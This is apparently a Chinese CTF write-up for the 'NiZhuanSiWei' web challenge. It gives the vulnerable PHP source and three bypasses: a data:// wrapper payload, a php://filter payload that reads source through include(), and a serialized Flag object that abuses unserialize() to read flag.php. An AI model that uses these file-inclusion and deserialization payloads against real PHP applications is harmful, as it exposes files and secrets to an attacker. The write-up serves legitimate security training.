NiZhuanSiWei

打开源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

第一个绕过：data伪协议写入文件

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

传入text且其内容为welcome to the zjctf，然后用data协议来执行PHP代码

text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=

第二个绕过：php://filter用于读取源码

$file = $_GET["file"];
if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }

filter伪协议来读源码，使用base64编码

file=php://filter/read=convert.base64-encode/resource=useless.php

解码

<?php  

class Flag{  //flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
?>  

第三个绕过：反序列化

<?php  
class Flag{  //flag.php  
    public $file="flag.php";  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("U R SO CLOSE !///COME ON PLZ");
        }  
    }  
}  
$a = new Flag();
echo serialize($a);
?>

得到

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}